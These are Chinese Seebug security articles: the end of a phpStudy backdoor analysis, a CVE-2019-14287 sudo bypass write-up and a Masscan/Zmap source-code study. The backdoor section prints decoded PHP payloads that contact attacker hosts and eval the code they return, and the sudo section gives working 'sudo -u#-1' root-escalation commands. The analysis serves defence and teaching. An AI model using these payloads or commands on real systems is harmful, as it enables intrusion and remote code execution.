- 弹出的窗口中勾选“To Address”,然后在右侧的“Ending Address”中填入 0x1000e5c4,如图:
按回车后,这段数据已被选中,我把它们单独拷出来,点击右键,选择 Copy Special > Byte String (No Spaces),如图:
然后打开 010Editor 编辑器:
- 新建文件:File > New > New Hex File;
- 粘贴拷贝的十六进制数据:Edit > Paste From > Paste from Hex Text
然后,把“00”字节全部去掉,选择 Search > Replace,查找 00,Replace 那里不填,点“Replace All”,处理后如下:
把处理后的文件保存为 p1。通过 file 命令得知文件 p1 为 Zlib 压缩后的数据:
12$ file p1p1: zlib compressed data用 Python 的 zlib 库就可以解压,解压代码如下:
12345import zlibwith open("p1", "rb") as f:data = f.read()print(zlib.decompress(data))执行结果如下:
12lu4nx@lx-kali:/tmp$ python3 decom.pyb"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"用 base64 命令把这段 Base64 代码解密,过程及结果如下:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){$result = "";$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);if( !$handle ){$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);if( !$handle ){return "err";}}fwrite($handle, $sendMsg."\n");while(!feof($handle)){stream_set_timeout($handle, 2);$result .= fread($handle, 1024);$info = stream_get_meta_data($handle);if ($info['timed_out']) {break;}}fclose($handle);return $result;}$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {$n = false;foreach ($ds as $d){$b = false;foreach ($ps as $p){$result = tcpGet($i,$d.".360se.net",$p);if ($result != "err"){$b =true;break;}}if ($b)break;}$info = explode("<^>",$result);if (count($info)==4){if (strpos($info[3],"/*Onemore*/") !== false){$info[3] = str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));}}while($n);2.3 第三个后门
第三个后门和第二个实现逻辑其实差不多,代码如下:
123456789101112131415161718192021222324252627282930puVar8 = &DAT_1000d028;local_c = &DAT_10012884;iVar5 = 0;piVar10 = &DAT_1000d028;do {if (*piVar10 == 0x27) {(&DAT_10012884)[iVar5] = 0x5c;(&DAT_10012885)[iVar5] = *(undefined *)puVar8;iVar5 = iVar5 + 2;piVar10 = piVar10 + 2;}else {(&DAT_10012884)[iVar5] = *(undefined *)puVar8;iVar5 = iVar5 + 1;piVar10 = piVar10 + 1;}puVar8 = puVar8 + 1;} while ((int)puVar8 < 0x1000d66c);spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884);iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);local_18 = *(undefined4 *)(iVar5 + 0x128);*(undefined **)(iVar5 + 0x128) = local_ac;iVar5 = _setjmp3(local_ac,0);uVar3 = local_18;if (iVar5 == 0) {zend_eval_string(local_c,0,&DAT_10012884,param_3);}重点在这段:
12345678910111213141516171819puVar8 = &DAT_1000d028;local_c = &DAT_10012884;iVar5 = 0;piVar10 = &DAT_1000d028;do {if (*piVar10 == 0x27) {(&DAT_10012884)[iVar5] = 0x5c;(&DAT_10012885)[iVar5] = *(undefined *)puVar8;iVar5 = iVar5 + 2;piVar10 = piVar10 + 2;}else {(&DAT_10012884)[iVar5] = *(undefined *)puVar8;iVar5 = iVar5 + 1;piVar10 = piVar10 + 1;}puVar8 = puVar8 + 1;} while ((int)puVar8 < 0x1000d66c);后门代码在地址 0x1000d028~0x1000d66c 中,提取和处理方法与第二个后门的一样。找到并提出来,如下:
12lu4nx@lx-kali:/tmp$ python3 decom.pyb" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"把这段Base64代码解码:
12345678910111213141516lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 -d@ini_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else {$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";$out .= "Host: {$h}\r\n";$out .= "Accept-Encoding: compress,gzip\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);fclose($fp);}3 参考
- https://github.com/jas502n/PHPStudy-Backdoor
- 《phpStudy 遭黑客入侵植入后门事件披露 | 微步在线报告》
- 《PhpStudy 后门分析》,作者:Hcamael@知道创宇 404 实验室
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1058/
-
CVE-2019-14287(Linux sudo 漏洞)分析
作者:lu4nx@知道创宇404积极防御实验室
作者博客:《CVE-2019-14287(Linux sudo 漏洞)分析》近日 sudo 被爆光一个漏洞,非授权的特权用户可以绕过限制获得特权。官方的修复公告请见:https://www.sudo.ws/alerts/minus_1_uid.html。
1. 漏洞复现
实验环境:
操作系统 CentOS Linux release 7.5.1804 内核 3.10.0-862.14.4.el7.x86_64 sudo 版本 1.8.19p2 首先添加一个系统帐号 test_sudo 作为实验所用:
1[root@localhost ~] # useradd test_sudo然后用 root 身份在 /etc/sudoers 中增加:
1test_sudo ALL=(ALL,!root) /usr/bin/id表示允许 test_sudo 帐号以非 root 外的身份执行 /usr/bin/id,如果试图以 root 帐号运行 id 命令则会被拒绝:
12[test_sudo@localhost ~] $ sudo id对不起,用户 test_sudo 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。sudo -u 也可以通过指定 UID 的方式来代替用户,当指定的 UID 为 -1 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以 root 身份执行命令:
123[test_sudo@localhost ~]$ sudo -u#-1 iduid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023[test_sudo@localhost ~]
$ sudo -u#4294967295 id uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
2. 漏洞原理分析
在官方代码仓库找到提交的修复代码:https://www.sudo.ws/repos/sudo/rev/83db8dba09e7。
从提交的代码来看,只修改了 lib/util/strtoid.c。strtoid.c 中定义的 sudo_strtoid_v1 函数负责解析参数中指定的 UID 字符串,补丁关键代码:
1234567/* Disallow id -1, which means "no change". */if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {if (errstr != NULL)*errstr = N_("invalid value");errno = EINVAL;goto done;}llval 变量为解析后的值,不允许 llval 为 -1 和 UINT_MAX(4294967295)。
也就是补丁只限制了取值而已,从漏洞行为来看,如果为 -1,最后得到的 UID 却是 0,为什么不能为 -1?当 UID 为 -1 的时候,发生了什么呢?继续深入分析一下。
我们先用 strace 跟踪下系统调用看看:
1[root@localhost ~]# strace -u test_sudo sudo -u#-1 id因为 strace -u 参数需要 root 身份才能使用,因此上面命令需要先切换到 root 帐号下,然后用 test_sudo 身份执行了
sudo -u#-1 id
命令。从输出的系统调用中,注意到:1setresuid(-1, -1, -1) = 0sudo 内部调用了 setresuid 来提升权限(虽然还调用了其他设置组之类的函数,但先不做分析),并且传入的参数都是 -1。
因此,我们做一个简单的实验来调用 setresuid(-1, -1, -1) ,看看为什么执行后会是 root 身份,代码如下:
12345678910#include <stdio.h>#include <sys/types.h>#include <unistd.h>int main() {setresuid(-1, -1, -1);setuid(0);printf("EUID: %d, UID: %d\n", geteuid(), getuid());return 0;}注意,需要将编译后的二进制文件所属用户改为 root,并加上 s 位,当设置了 s 位后,其他帐号执行时就会以文件所属帐号的身份运行。
为了方便,我直接在 root 帐号下编译,并加 s 位:
12[root@localhost tmp] # gcc test.c[root@localhost tmp]
# chmod +s a.out
然后以 test_sudo 帐号执行 a.out:
12[test_sudo@localhost tmp] $ ./a.outEUID: 0, UID: 0可见,运行后,当前身份变成了 root。
其实 setresuid 函数只是系统调用 setresuid32 的简单封装,可以在 GLibc 的源码中看到它的实现:
12345678910// 文件:sysdeps/unix/sysv/linux/i386/setresuid.cint__setresuid (uid_t ruid, uid_t euid, uid_t suid){int result;result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);return result;}setresuid32 最后调用的是内核函数 sys_setresuid,它的实现如下:
1234567891011121314151617181920212223242526272829303132333435363738394041// 文件:kernel/sys.cSYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid){...struct cred *new;...kruid = make_kuid(ns, ruid);keuid = make_kuid(ns, euid);ksuid = make_kuid(ns, suid);new = prepare_creds();old = current_cred();...if (ruid != (uid_t) -1) {new->uid = kruid;if (!uid_eq(kruid, old->uid)) {retval = set_user(new);if (retval < 0)goto error;}}if (euid != (uid_t) -1)new->euid = keuid;if (suid != (uid_t) -1)new->suid = ksuid;new->fsuid = new->euid;...return commit_creds(new);error:abort_creds(new);return retval;}简单来说,内核在处理时,会调用 prepare_creds 函数创建一个新的凭证结构体,而传递给函数的 ruid、euid和suid 三个参数只有在不为 -1 的时候,才会将 ruid、euid 和 suid 赋值给新的凭证(见上面三个 if 逻辑),否则默认的 UID 就是 0。最后调用 commit_creds 使凭证生效。这就是为什么传递 -1 时,会拥有 root 权限的原因。
我们也可以写一段 SystemTap 脚本来观察下从应用层调用 setresuid 并传递 -1 到内核中的状态:
123456789101112131415# 捕获 setresuid 的系统调用probe syscall.setresuid {printf("exec %s, args: %s\n", execname(), argstr)}# 捕获内核函数 sys_setresuid 接受到的参数probe kernel.function("sys_setresuid").call {printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));}# 捕获内核函数 prepare_creds 的返回值probe kernel.function("prepare_creds").return {# 具体数据结构请见 linux/cred.h 中 struct cred 结构体printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)}然后执行:
1[root@localhost tmp] # stap test.stp接着运行前面我们编译的 a.out,看看 stap 捕获到的:
123exec a.out, args: -1, -1, -1 # 这里是传递给 setresuid 的 3 个参数(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 这里显示最终调用 sys_setresuid 的三个参数(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 调用了 prepare_cred,可看到默认 EUID 是为 0的
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1057/
-
从 Masscan, Zmap 源码分析到开发实践
作者:w7ay@知道创宇404实验室
日期:2019年10月12日Zmap和Masscan都是号称能够快速扫描互联网的扫描器,十一因为无聊,看了下它们的代码实现,发现它们能够快速扫描,原理其实很简单,就是实现两种程序,一个发送程序,一个抓包程序,让发送和接收分隔开从而实现了速度的提升。但是它们识别的准确率还是比较低的,所以就想了解下为什么准确率这么低以及应该如何改善。
Masscan源码分析
首先是看的Masscan的源码,在readme上有它的一些设计思想,它指引我们看
main.c
中的入口函数main()
,以及发送函数和接收函数transmit_thread()
和receive_thread()
,还有一些简单的原理解读。理论上的6分钟扫描全网
在后面自己写扫描器的过程中,对Masscan的扫描速度产生怀疑,目前Masscan是号称6分钟扫描全网,以每秒1000万的发包速度。
但是255^4/10000000/60 ≈ 7.047 ???
之后了解到,默认模式下Masscan使用
pcap
发送和接收数据包,它在Windows和Mac上只有30万/秒的发包速度,而Linux可以达到150万/秒,如果安装了PF_RING DNA设备,它会提升到1000万/秒的发包速度(这些前提是硬件设备以及带宽跟得上)。注意,这只是按照扫描一个端口的计算。
PF_RING DNA设备了解地址:http://www.ntop.org/products/pf_ring/
那为什么Zmap要45分钟扫完呢?
在Zmap的主页上说明了
用PF_RING驱动,可以在5分钟扫描全网,而默认模式才是45分钟,Masscan的默认模式计算一下也是45分钟左右才扫描完,这就是宣传的差距吗 (-
历史记录
观察了readme的历史记录 https://github.githistory.xyz/robertdavidgraham/Masscan/blob/master/README.md
之前构建时会提醒安装
libpcap-dev
,但是后面没有了,从releases上看,是将静态编译的libpcap
改为了动态加载。C10K问题
c10k也叫做client 10k,就是一个客户端在硬件性能足够条件下如何处理超过1w的连接请求。Masscan把它叫做C10M问题。
Masscan的解决方法是不通过系统内核调用函数,而是直接调用相关驱动。
主要通过下面三种方式:
- 定制的网络驱动
- Masscan可以直接使用PF_RING DNA的驱动程序,该驱动程序可以直接从用户模式向网络驱动程序发送数据包而不经过系统内核。
- 内置tcp堆栈
- 直接从tcp连接中读取响应连接,只要内存足够,就能轻松支持1000万并发的TCP连接。但这也意味着我们要手动来实现tcp协议。
- 不使用互斥锁
- 锁的概念是用户态的,需要经过CPU,降低了效率,Masscan使用
rings
来进行一些需要同步的操作。与之对比一下Zmap,很多地方都用到了锁。- 为什么要使用锁?
- 一个网卡只用开启一个接收线程和一个发送线程,这两个线程是不需要共享变量的。但是如果有多个网卡,Masscan就会开启多个接收线程和多个发送线程,这时候的一些操作,如打印到终端,输出到文件就需要锁来防止冲突。
- 多线程输出到文件
- Masscan的做法是每个线程将内容输出到不同文件,最后再集合起来。在
src/output.c
中,
- Masscan的做法是每个线程将内容输出到不同文件,最后再集合起来。在
- 为什么要使用锁?
- 锁的概念是用户态的,需要经过CPU,降低了效率,Masscan使用
随机化地址扫描
在读取地址后,如果进行顺序扫描,伪代码如下
123for (i = 0; i < range; i++) {scan(i);}但是考虑到有的网段可能对扫描进行检测从而封掉整个网段,顺序扫描效率是较低的,所以需要将地址进行随机的打乱,用算法描述就是设计一个
打乱数组的算法
,Masscan是设计了一个加密算法,伪代码如下1234567range = ip_count * port_count;for (i = 0; i < range; i++) {x = encrypt(i);ip = pick(addresses, x / port_count);port = pick(ports, x % port_count);scan(ip, port);}随机种子就是
i
的值,这种加密算法能够建立一种一一对应的映射关系,即在[1...range]的区间内通过i
来生成[1...range]内不重复的随机数。同时如果中断了扫描,只需要记住i
的值就能重新启动,在分布式上也可以根据i
来进行。- 如果对这个加密算法感兴趣可以看 Ciphers with Arbitrary Finite Domains 这篇论文。
无状态扫描的原理
回顾一下tcp协议中三次握手的前两次
- 客户端在向服务器第一次握手时,会组建一个数据包,设置syn标志位,同时生成一个数字填充seq序号字段。
- 服务端收到数据包,检测到了标志位的syn标志,知道这是客户端发来的建立连接的请求包,服务端会回复一个数据包,同时设置syn和ack标志位,服务器随机生成一个数字填充到seq字段。并将客户端发送的seq数据包+1填充到ack确认号上。
在收到syn和ack后,我们返回一个rst来结束这个连接,如下图所示
Masscan和Zmap的扫描原理,就是利用了这一步,因为seq是我们可以自定义的,所以在发送数据包时填充一个特定的数字,而在返回包中可以获得相应的响应状态,即是无状态扫描的思路了。 接下来简单看下Masscan中发包以及接收的代码。
发包
在
main.c
中,前面说的随机化地址扫描接着生成cookie并发送
1234567891011121314151617uint64_tsyn_cookie( unsigned ip_them, unsigned port_them,unsigned ip_me, unsigned port_me,uint64_t entropy){unsigned data[4];uint64_t x[2];x[0] = entropy;x[1] = entropy;data[0] = ip_them;data[1] = port_them;data[2] = ip_me;data[3] = port_me;return siphash24(data, sizeof(data), x);}看名字我们知道,生成cookie的因子有源ip,源端口,目的ip,目的端口,和entropy(随机种子,Masscan初始时自动生成),siphash24是一种高效快速的哈希函数,常用于网络流量身份验证和针对散列dos攻击的防御。
组装tcp协议
template_set_target()
,部分代码123456789101112131415161718192021222324case Proto_TCP:px[offset_tcp+ 0] = (unsigned char)(port_me >> 8);px[offset_tcp+ 1] = (unsigned char)(port_me & 0xFF);px[offset_tcp+ 2] = (unsigned char)(port_them >> 8);px[offset_tcp+ 3] = (unsigned char)(port_them & 0xFF);px[offset_tcp+ 4] = (unsigned char)(seqno >> 24);px[offset_tcp+ 5] = (unsigned char)(seqno >> 16);px[offset_tcp+ 6] = (unsigned char)(seqno >> 8);px[offset_tcp+ 7] = (unsigned char)(seqno >> 0);xsum += (uint64_t)tmpl->checksum_tcp+ (uint64_t)ip_me+ (uint64_t)ip_them+ (uint64_t)port_me+ (uint64_t)port_them+ (uint64_t)seqno;xsum = (xsum >> 16) + (xsum & 0xFFFF);xsum = (xsum >> 16) + (xsum & 0xFFFF);xsum = (xsum >> 16) + (xsum & 0xFFFF);xsum = ~xsum;px[offset_tcp+16] = (unsigned char)(xsum >> 8);px[offset_tcp+17] = (unsigned char)(xsum >> 0);break;发包函数
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061/**************************************************************************** wrapper for libpcap's sendpacket** PORTABILITY: WINDOWS and PF_RING* For performance, Windows and PF_RING can queue up multiple packets, then* transmit them all in a chunk. If we stop and wait for a bit, we need* to flush the queue to force packets to be transmitted immediately.***************************************************************************/intrawsock_send_packet(struct Adapter *adapter,const unsigned char *packet,unsigned length,unsigned flush){if (adapter == 0)return 0;/* Print --packet-trace if debugging */if (adapter->is_packet_trace) {packet_trace(stdout, adapter->pt_start, packet, length, 1);}/* PF_RING */if (adapter->ring) {int err = PF_RING_ERROR_NO_TX_SLOT_AVAILABLE;while (err == PF_RING_ERROR_NO_TX_SLOT_AVAILABLE) {err = PFRING.send(adapter->ring, packet, length, (unsigned char)flush);}if (err < 0)LOG(1, "pfring:xmit: ERROR %d\n", err);return err;}/* WINDOWS PCAP */if (adapter->sendq) {int err;struct pcap_pkthdr hdr;hdr.len = length;hdr.caplen = length;err = PCAP.sendqueue_queue(adapter->sendq, &hdr, packet);if (err) {rawsock_flush(adapter);PCAP.sendqueue_queue(adapter->sendq, &hdr, packet);}if (flush) {rawsock_flush(adapter);}return 0;}/* LIBPCAP */if (adapter->pcap)return PCAP.sendpacket(adapter->pcap, packet, length);return 0;}可以看到它是分三种模式发包的,
PF_RING
,WinPcap
,LibPcap
,如果没有装相关驱动的话,默认就是pcap发包。如果想使用PF_RING模式,只需要加入启动参数--pfring
接收
在接收线程看到一个关于cpu的代码
大意是锁住这个线程运行的cpu,让发送线程运行在双数cpu上,接收线程运行在单数cpu上。但代码没怎么看懂
接收原始数据包
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455int rawsock_recv_packet(struct Adapter *adapter,unsigned *length,unsigned *secs,unsigned *usecs,const unsigned char **packet){if (adapter->ring) {/* This is for doing libpfring instead of libpcap */struct pfring_pkthdr hdr;int err;again:err = PFRING.recv(adapter->ring,(unsigned char**)packet,0, /* zero-copy */&hdr,0 /* return immediately */);if (err == PF_RING_ERROR_NO_PKT_AVAILABLE || hdr.caplen == 0) {PFRING.poll(adapter->ring, 1);if (is_tx_done)return 1;goto again;}if (err)return 1;*length = hdr.caplen;*secs = (unsigned)hdr.ts.tv_sec;*usecs = (unsigned)hdr.ts.tv_usec;} else if (adapter->pcap) {struct pcap_pkthdr hdr;*packet = PCAP.next(adapter->pcap, &hdr);if (*packet == NULL) {if (is_pcap_file) {//pixie_time_set_offset(10*100000);is_tx_done = 1;is_rx_done = 1;}return 1;}*length = hdr.caplen;*secs = (unsigned)hdr.ts.tv_sec;*usecs = (unsigned)hdr.ts.tv_usec;}return 0;}主要是使用了PFRING和PCAP的api来接收。后面便是一系列的接收后的处理了。在
mian.c
757行后面还会判断是否为源ip,判断方式不是相等,是判断某个范围。
1234int is_my_port(const struct Source *src, unsigned port){return src->port.first <= port && port <= src->port.last;}接着后面的处理
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061if (TCP_IS_SYNACK(px, parsed.transport_offset)|| TCP_IS_RST(px, parsed.transport_offset)) {// 判断是否是syn+ack或rst标志位/* 获取状态 */status = PortStatus_Unknown;if (TCP_IS_SYNACK(px, parsed.transport_offset))status = PortStatus_Open; // syn+ack 说明端口开放if (TCP_IS_RST(px, parsed.transport_offset)) {status = PortStatus_Closed; // rst 说明端口关闭}/* verify: syn-cookies 校验cookie是否正确 */if (cookie != seqno_me - 1) {LOG(5, "%u.%u.%u.%u - bad cookie: ackno=0x%08x expected=0x%08x\n",(ip_them>>24)&0xff, (ip_them>>16)&0xff,(ip_them>>8)&0xff, (ip_them>>0)&0xff,seqno_me-1, cookie);continue;}/* verify: ignore duplicates 校验是否重复*/if (dedup_is_duplicate(dedup, ip_them, port_them, ip_me, port_me))continue;/* keep statistics on number received 统计接收的数字*/if (TCP_IS_SYNACK(px, parsed.transport_offset))(*status_synack_count)++;/** This is where we do the output* 这是输出状态了*/output_report_status(out,global_now,status,ip_them,6, /* ip proto = tcp */port_them,px[parsed.transport_offset + 13], /* tcp flags */parsed.ip_ttl,parsed.mac_src);/** Send RST so other side isn't left hanging (only doing this in* complete stateless mode where we aren't tracking banners)*/// 发送rst给服务端,防止服务端一直等待。if (tcpcon == NULL && !Masscan->is_noreset)tcp_send_RST(&parms->tmplset->pkts[Proto_TCP],parms->packet_buffers,parms->transmit_queue,ip_them, ip_me,port_them, port_me,0, seqno_me);}Zmap源码分析
Zmap官方有一篇paper,讲述了Zmap的原理以及一些实践。上文说到Zmap使用的发包技术和Masscan大同小异,高速模式下都是调用pf_ring的驱动进行,所以对这些就不再叙述了,主要说下其他与Masscan不同的地方,paper中对丢包问题以及扫描时间段有一些研究,简单整理下
- 发送多个探针:结果表明,发送8个SYN包后,响应主机数量明显趋于平稳
- 哪些时间更适合扫描
- 我们观察到一个±3.1%的命中率变化依赖于日间扫描的时间。最高反应率在美国东部时间上午7时左右,最低反应率在美国东部时间下午7时45分左右。
- 这些影响可能是由于整体网络拥塞和包丢失率的变化,或者由于只间断连接到网络的终端主机的总可用性的日变化模式。在不太正式的测试中,我们没有注意到任何明显的变化
还有一点是Zmap只能扫描单个端口,看了一下代码,这个保存端口变量的作用也只是在最后接收数据包用来判断srcport用,不明白为什么还没有加上多端口的支持。
宽带限制
相比于Masscan用
rate=10000
作为限制参数,Zmap用-B 10M
的方式来限制我觉得这点很好,因为不是每个使用者都能明白每个参数代表的原理。实现细节
发包与解包
Zmap不支持Windows,因为Zmap的发包默认用的是socket,在window下可能不支持tcp的组包(猜测)。相比之下Masscan使用的是pcap发包,在win/linux都有支持的程序。Zmap接收默认使用的是pcap。
在构造tcp包时,附带的状态信息会填入到seq和srcport中
在解包时,先判断返回dstport的数据
再判断返回的ack中的数据
用go写端口扫描器
